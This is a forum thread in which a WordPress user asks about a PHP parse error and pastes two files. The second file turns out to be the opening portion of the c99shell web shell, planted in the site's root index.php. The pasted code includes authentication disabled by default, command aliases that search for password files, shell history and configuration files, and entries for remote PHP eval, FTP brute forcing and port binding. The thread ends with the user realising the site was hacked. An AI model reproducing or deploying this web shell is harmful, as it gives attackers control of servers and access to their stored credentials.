1. Advertising
    y u no do it?

    Advertising (learn more)

    Advertise virtually anything here, with CPM banner ads, CPM email ads and CPC contextual links. You can target relevant areas of the site and show ads based on geographical location of the user if you wish.

    Starts at just $1 per CPM or $0.10 per CPC.

Parse error: syntax error, unexpected $end in my wordpress

Discussion in 'PHP' started by Farina, Apr 10, 2009.

  1. #1
    Hi all,

    I have this problem in my wordpress, I hope all sifu can help me :

    Parse error: syntax error, unexpected $end in /home/abc/domains/blog.e-abc.com/public_html/index.php on line 258

    My code in index.php as follows :

    Code (Text):
    1. <?php
    2. /*
    3. Template Name: Home Page Option 1
    4. */
    5. ?>
    6.  
    7. <?php get_header(); ?>
    8.  
    9.     <div id="page" class="clearfix">
    10.  
    11.         <div id="contentleft">
    12.  
    13. <?php if ( $paged < 2 ) { // Do stuff specific to first page?>
    14.  
    15. <?php include (TEMPLATEPATH . '/features.php'); ?>
    16.  
    17.             <div id="content">
    18.  
    19.                 <div class="home-post-list-2">
    20.  
    21. <?php include (TEMPLATEPATH . '/banner468.php'); ?>
    22.  
    23.                     <h3 class="home-post-list">Other Recent Articles</h3>          
    24.  
    25. <?php if (have_posts()) : while (have_posts()) : the_post();
    26. if( $post->ID == $do_not_duplicate[$post->ID] ) continue; ?>
    27. <?php $post_class = ('home-post-1' == $post_class) ? 'alt-home-post-1' : 'home-post-1'; ?>
    28.  
    29.                     <div class="<?php echo $post_class; ?>" id="post-<?php the_ID(); ?>">
    30.  
    31.                         <div class="entry clearfix">
    32.  
    33. <?php if (get_post_meta($post->ID, post_thumbnail)) { ?>
    34.                             <a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>"><img src="<?php echo get_post_meta($post->ID, post_thumbnail, true); ?>" class="post-thum" alt="post thumbnail" /></a>
    35. <?php } else { ?>
    36.                             <a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>"><img src="<?php bloginfo('stylesheet_directory'); ?>/images/def-thumb.gif" class="post-thum" alt="post thumbnail" /></a>
    37. <?php } ?>
    38.  
    39.                             <h2 class="home-list"><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>"><?php the_title(); ?></a></h2>
    40.                             <?php the_excerpt(); ?>
    41.                             <?php the_time('jMY') ?> | <?php the_author_posts_link(); ?> | <?php comments_popup_link('0 comments', '1 comment', '% comments'); ?> | <a class="more-link" href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>">Continued</a>
    42.  
    43.                         </div>
    44.  
    45.                     </div>
    46.  
    47. <?php endwhile; endif; ?>
    48.  
    49. <?php include (TEMPLATEPATH . '/bot-nav.php'); ?>
    50.  
    51.                 </div>
    52.  
    53. <?php } else { // Do stuff specific to non-first page ?>
    54.  
    55.             <div id="content">
    56.  
    57.                 <div class="home-post-list-2">
    58.  
    59.                     <h3 class="home-post-list">Other Recent Articles</h3>
    60.  
    61. <?php if (have_posts()) : while (have_posts()) : the_post();
    62. if( $post->ID == $do_not_duplicate[$post->ID] ) continue; ?>
    63. <?php $post_class = ('home-post-1' == $post_class) ? 'alt-home-post-1' : 'home-post-1'; ?>
    64.  
    65.                     <div class="<?php echo $post_class; ?>" id="post-<?php the_ID(); ?>">
    66.  
    67.                         <div class="entry clearfix">
    68.  
    69. <?php if (get_post_meta($post->ID, post_thumbnail)) { ?>
    70.                             <a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>"><img src="<?php echo get_post_meta($post->ID, post_thumbnail, true); ?>" class="post-thum" alt="post thumbnail" /></a>
    71. <?php } else { ?>
    72.                             <a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>"><img src="<?php bloginfo('stylesheet_directory'); ?>/images/def-thumb.gif" class="post-thum" alt="post thumbnail" /></a>
    73. <?php } ?>
    74.  
    75.                             <h2 class="home-list"><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>"><?php the_title(); ?></a></h2>
    76.                             <?php the_excerpt(); ?>
    77.                             <?php the_time('jMY') ?> | <?php the_author_posts_link(); ?> | <?php comments_popup_link('0 comments', '1 comment', '% comments'); ?> | <a class="more-link" href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>">Continued</a>
    78.  
    79.                         </div>
    80.  
    81.                     </div>
    82.  
    83. <?php endwhile; endif; ?>
    84.  
    85. <?php include (TEMPLATEPATH . '/bot-nav.php'); ?>
    86.  
    87.                 </div>
    88.  
    89. <?php } ?>
    90.  
    91. <?php include (TEMPLATEPATH . '/midcontent.php'); ?>
    92.  
    93. <?php get_sidebar(); ?>
    94.  
    95. <?php get_footer(); ?>

    Farina, Apr 10, 2009 IP
  2. Farina

    Farina Peon

    Messages:
    250
    Likes Received:
    8
    Best Answers:
    0
    Trophy Points:
    0
    #2
    the above code is index.php for the theme


    this is the index in root folder

    Code (Text):
    1. <?php
    2. /*
    3. ******************************************************************************************************
    4. *
    5. *                   c99shell.php v.1.0 Shellci.Biz
    6. *                           SheLL Archive
    7. *  c99shell - Shellci.biz
    8. *
    9. ******************************************************************************************************
    10. */
    11.  
    12. //Starting calls
    13. if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
    14. error_reporting(5);
    15. @ignore_user_abort(true);
    16. @set_magic_quotes_runtime(0);
    17. @set_time_limit(0);
    18. $win = strtolower(substr(PHP_OS, 0, 3)) == "win";
    19. if (!@ob_get_contents()) {@ob_start(); @ob_implicit_flush(0);}
    20. define("starttime",getmicrotime());
    21. if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
    22. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
    23. foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
    24.  
    25. $shver = "1.0 beta (21.05.2005)"; //Current version
    26. //CONFIGURATION AND SETTINGS
    27. if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
    28. elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
    29. else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL
    30. }
    31.  
    32. $surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL.
    33.  
    34. if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
    35. if (empty($surl))
    36. {
    37.  $surl = "?".$includestr; //Self url
    38. }
    39. $surl = htmlspecialchars($surl);
    40.  
    41. $timelimit = 60; //limit of execution this script (seconds), 0 = unlimited.
    42.  
    43. //Authentication
    44.  
    45. $login = "shellci.biz"; //login
    46. //DON'T FORGOT ABOUT CHANGE PASSWORD!!!
    47. $pass = "shellci.biz"; //password
    48. $md5_pass = ""; //md5-cryped pass. if null, md5($pass)
    49.  
    50.     /*COMMENT IT FOR TURN ON AUTHENTIFICATION >>>*/ $login = false; //turn off authentification
    51.  
    52. $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
    53. $login_txt = "Restricted area"; //http-auth message.
    54. $accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied";
    55.  
    56. $autoupdate = false; //Automatic updating?
    57. $updatenow = false; //If true, update now
    58. $c99sh_updatefurl = "http://ccteam.ru/releases/update/c99shell/"; //Update server
    59.  
    60. $filestealth = false; //if true, don't change modify&access-time
    61.  
    62. $donated_html = "<center><b>GaRDeNFoX</b></center>";
    63.         /* If you publish free shell and you wish
    64.         add link to your site or any other information,
    65.         put here your html. */
    66. $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
    67.  
    68. $curdir = "./"; //start directory
    69. //$curdir = getenv("DOCUMENT_ROOT");
    70. $tmpdir = ""; //Directory for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
    71. $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
    72.  
    73. $log_email = "user@host.tld"; //Default e-mail for sending logs
    74.  
    75. $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
    76. $sort_save = true; //If true then save sorting-type.
    77.  
    78. // Registered file-types.
    79. //  array(
    80. //   "{action1}"=>array("ext1","ext2","ext3",...),
    81. //   "{action2}"=>array("ext4","ext5","ext6",...),
    82. //   ...
    83. //  )
    84. $ftypes  = array(
    85.  "html"=>array("html","htm","shtml"),
    86.  "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
    87.  "exe"=>array("sh","install","bat","cmd"),
    88.  "ini"=>array("ini","inf"),
    89.  "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
    90.  "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
    91.  "sdb"=>array("sdb"),
    92.  "phpsess"=>array("sess"),
    93.  "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
    94. );
    95.  
    96. // Registered executable file-types.
    97. //  array(
    98. //   string "command{i}"=>array("ext1","ext2","ext3",...),
    99. //   ...
    100. //  )
    101. //   {command}: %f% = filename
    102. $exeftypes  = array(
    103.  getenv("PHPRC")." %f%"=>array("php","php3","php4"),
    104. );
    105.  
    106. /* Highlighted files.
    107.   array(
    108.    i=>array({regexp},{type},{opentag},{closetag},{break})
    109.    ...
    110.   )
    111.   string {regexp} - regular exp.
    112.   int {type}:
    113.     0 - files and folders (as default),
    114.     1 - files only, 2 - folders only
    115.   string {opentag} - open html-tag, e.g. "<b>" (default)
    116.   string {closetag} - close html-tag, e.g. "</b>" (default)
    117.   bool {break} - if true and found match then break
    118. */
    119. $regxp_highlight  = array(
    120.   array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
    121.   array("config.php",1) // example
    122. );
    123.  
    124. $safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
    125.                                      // array (i=>{letter} ...); string {letter} - letter of a drive
    126.                                     // Set as false or for turn off.
    127. $hexdump_lines = 8; // lines in hex preview file
    128. $hexdump_rows = 24; // 16, 24 or 32 bytes in one line
    129.  
    130. $nixpwdperpage = 100; // Get first N lines from /etc/passwd
    131.  
    132. $bindport_pass = "c99";   // default password for binding
    133. $bindport_port = "11457"; // default port for binding
    134.  
    135. // Command-aliases
    136. if (!$win)
    137. {
    138.  $cmdaliases = array(
    139.   array("-----------------------------------------------------------", "ls -la"),
    140.   array("find all suid files", "find / -type f -perm -04000 -ls"),
    141.   array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
    142.   array("find all sgid files", "find / -type f -perm -02000 -ls"),
    143.   array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
    144.   array("find config.inc.php files", "find / -type f -name config.inc.php"),
    145.   array("find config* files", "find / -type f -name \"config*\""),
    146.   array("find config* files in current dir", "find . -type f -name \"config*\""),
    147.   array("find all writable directories and files", "find / -perm -2 -ls"),
    148.   array("find all writable directories and files in current dir", "find . -perm -2 -ls"),
    149.   array("find all service.pwd files", "find / -type f -name service.pwd"),
    150.   array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
    151.   array("find all .htpasswd files", "find / -type f -name .htpasswd"),
    152.   array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
    153.   array("find all .bash_history files", "find / -type f -name .bash_history"),
    154.   array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
    155.   array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
    156.   array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
    157.   array("list file attributes on a Linux second extended file system", "lsattr -va"),
    158.   array("show opened ports", "netstat -an | grep -i listen")
    159.  );
    160. }
    161. else
    162. {
    163.  $cmdaliases = array(
    164.   array("-----------------------------------------------------------", "dir"),
    165.   array("show opened ports", "netstat -an")
    166.  );
    167. }
    168.  
    169. $sess_cookie = "c99shvars"; // Cookie-variable name
    170.  
    171. $usefsbuff = true; //Buffer-function
    172. $copy_unset = false; //Remove copied files from buffer after pasting
    173.  
    174. //Quick launch
    175. $quicklaunch = array(
    176.  array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
    177.  array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
    178.  array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
    179.  array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
    180.  array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
    181.  array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
    182.  array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
    183.  array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
    184.  array("<b>Bind</b>",$surl."act=bind&d=%d"),
    185.  array("<b>Proc.</b>",$surl."act=ps_aux&d=%d"),
    186.  array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
    187.  array("<b>Sec.</b>",$surl."act=security&d=%d"),
    188.  array("<b>SQL</b>",$surl."act=sql&d=%d"),
    189.  array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
    190.  array("<b>Feedback</b>",$surl."act=feedback&d=%d"),
    191.  array("<b>Self remove</b>",$surl."act=selfremove"),
    192.  array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
    193. );
    194.  
    195. //Highlight-code colors
    196. $highlight_background = "#c0c0c0";
    197. $highlight_bg = "#FFFFFF";
    198. $highlight_comment = "#6A6A6A";
    199. $highlight_default = "#0000BB";
    200. $highlight_html = "#1300FF";
    201. $highlight_keyword = "#007700";
    202. $highlight_string = "#000000";
    203.  
    204. @$f = $_REQUEST["f"];
    205. @extract($_REQUEST["c99shcook"]);
    206.  
    207. //END CONFIGURATION
    208.  
    209.  
    210. //              \/  Next code isn't for editing \/
    211. $tmp = array();
    212. foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
    213. $s = "!^(".implode("|",$tmp).")$!i";
    214. if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
    215. if ($login)
    216. {
    217.  if(empty($md5_pass)) {$md5_pass = md5($pass);}
    218.  if (($_SERVER["PHP_AUTH_USER"] != $login ) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
    219.  {
    220.   if ($login_txt === false) {$login_txt = "";}
    221.   elseif (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
    222.   header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
    223.   header("HTTP/1.0 401 Unauthorized");
    224.   exit($accessdeniedmess);
    225.  }
    226. }
    227. if ($act != "img")
    228. {
    229. $lastdir = realpath(".");
    230. chdir($curdir);
    231. if (($selfwrite) or ($updatenow))
    232. {
    233.  if ($selfwrite == "1") {$selfwrite = "c99shell.php";}
    234.  c99sh_getupdate();
    235.  $data = file_get_contents($c99sh_updatefurl);
    236.  $fp = fopen($data,"w");
    237.  fwrite($fp,$data);
    238.  fclose($fp);
    239.  exit;
    240. }
    241. $sess_data = unserialize($_COOKIE["$sess_cookie"]);
    242. if (!is_array($sess_data)) {$sess_data = array();}
    243. if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
    244. if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
    245.  
    246. if (!function_exists("c99_buff_prepare"))
    247. {
    248. function c99_buff_prepare()
    249. {
    250.  global $sess_data;
    251.  global $act;
    252.  foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
    253.  foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
    254.  $sess_data["copy"] = array_unique($sess_data["copy"]);
    255.  $sess_data["cut"] = array_unique($sess_data["cut"]);
    256.  sort($sess_data["copy"]);
    257.  sort($sess_data["cut"]);
    258.  if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["cop
    Farina, Apr 10, 2009 IP
  3. Colbyt

    Colbyt Well-Known Member

    Messages:
    3,224
    Likes Received:
    181
    Best Answers:
    0
    Trophy Points:
    160
    #3
    unexpected $end usually means that you have failed to close a conditional } and the script thinks it still has something to do. This is an easy mess to create if you have been editing the file.

    Easy fix is to restore the file and start again. If you are not familiar with the script in question iIt can take hours to track down the error otherwise.
    Colbyt, Apr 10, 2009 IP
  4. Farina

    Farina Peon

    Messages:
    250
    Likes Received:
    8
    Best Answers:
    0
    Trophy Points:
    0
    #4
    tq, but which file is affected. is it the theme index file or the root file
    Farina, Apr 10, 2009 IP
  5. Colbyt

    Colbyt Well-Known Member

    Messages:
    3,224
    Likes Received:
    181
    Best Answers:
    0
    Trophy Points:
    160
    #5
    Switch to the default theme or at least a different one and you will find out real quick.
    Colbyt, Apr 10, 2009 IP
  6. Farina

    Farina Peon

    Messages:
    250
    Likes Received:
    8
    Best Answers:
    0
    Trophy Points:
    0
    #6
    Case solved.
    My web being hacked.

    Two file being hacked :
    1. index.php in root folder
    2. header.php in theme folder

    they use the same content for both files. The files i paste just now in second reply above.
    Farina, Apr 10, 2009 IP